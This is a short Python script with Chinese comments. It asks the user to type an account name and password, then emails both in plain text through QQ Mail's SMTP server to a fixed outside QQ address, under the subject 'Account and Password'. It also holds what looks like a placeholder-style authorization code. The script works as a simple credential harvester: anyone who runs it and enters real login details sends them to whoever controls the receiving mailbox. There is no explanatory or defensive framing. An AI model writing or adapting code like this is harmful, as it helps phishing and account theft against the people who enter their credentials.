编辑代码

import smtplib
from email.mime.text import MIMEText
from email.header import Header

# 发件人、收件人和主题
sender_email = "your_qq_email@qq.com"
receiver_email = "recipient_844653165@qq.com"  # 指定接收邮箱地址
subject = "Account and Password"

# 邮箱授权码
authorization_code = "your_qq_email_authorization_gsjuyptixqrvbehj"

# 邮件正文内容
content = "Please fill in your account and password here: \n\nAccount: \nPassword: "

# 获取账号和密码
account = input("Please enter your account: ")
password = input("Please enter your password: ")

# 将账号和密码添加到正文中
content += "\n" + account + "\n" + password

# 创建一个 MIMEText 对象
message = MIMEText(content, 'plain', 'utf-8')
message['From'] = Header(sender_email, 'utf-8')
message['To'] = Header(receiver_email, 'utf-8')
message['Subject'] = Header(subject, 'utf-8')

try:
    # 连接 QQ 邮箱的 SMTP 服务器
    server = smtplib.SMTP("smtp.qq.com", 25)

    # 打开 SSL 加密
    server.ehlo()
    server.starttls()
    server.ehlo()

    # 登录邮箱
    server.login(sender_email, authorization_code)

    # 发送邮件
    server.sendmail(sender_email, receiver_email, message.as_string())
    print("Email sent successfully")
    
except Exception as e:
    print("Failed to send email: ", e)
    
finally:
    # 关闭连接
    if 'server' in locals():
        server.quit()